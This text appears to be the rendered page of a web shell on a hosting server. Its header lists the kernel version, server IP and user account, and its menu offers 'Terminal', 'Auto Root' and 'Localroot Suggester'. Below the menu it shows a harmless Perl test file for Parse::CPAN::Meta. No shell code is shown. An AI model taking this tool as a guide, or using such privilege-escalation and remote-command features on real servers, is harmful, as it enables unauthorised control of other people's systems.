Linux server1.hosting4iran.com 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.216.218
Domains : 282 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-CPAN-Meta /
t /
parse-cpan-meta /
Delete
Unzip
Name
Size
Permission
Date
Action
02_api.t
7.72
KB
-rw-r--r--
2016-08-18 16:10
03_functions.t
562
B
-rw-r--r--
2016-08-18 16:10
04_export.t
446
B
-rw-r--r--
2016-08-18 16:10
05_errors.t
408
B
-rw-r--r--
2016-08-18 16:10
Save
Rename
#!/usr/bin/perl delete $ENV{PERL_YAML_BACKEND}; delete $ENV{PERL_JSON_BACKEND}; # Testing of basic document structures use strict; BEGIN { $| = 1; $^W = 1; } use Test::More tests => 2; use Parse::CPAN::Meta (); my $one = <<'END_YAML'; --- - foo END_YAML my $two = <<'END_YAML'; --- - foo --- - bar END_YAML my $one_scalar_tiny = Parse::CPAN::Meta::Load( $one ); my $two_scalar_tiny = Parse::CPAN::Meta::Load( $two ); is_deeply( $one_scalar_tiny, [ 'foo' ], 'one: Parsed correctly' ); is_deeply( $two_scalar_tiny, [ 'bar' ], 'two: Parsed correctly' );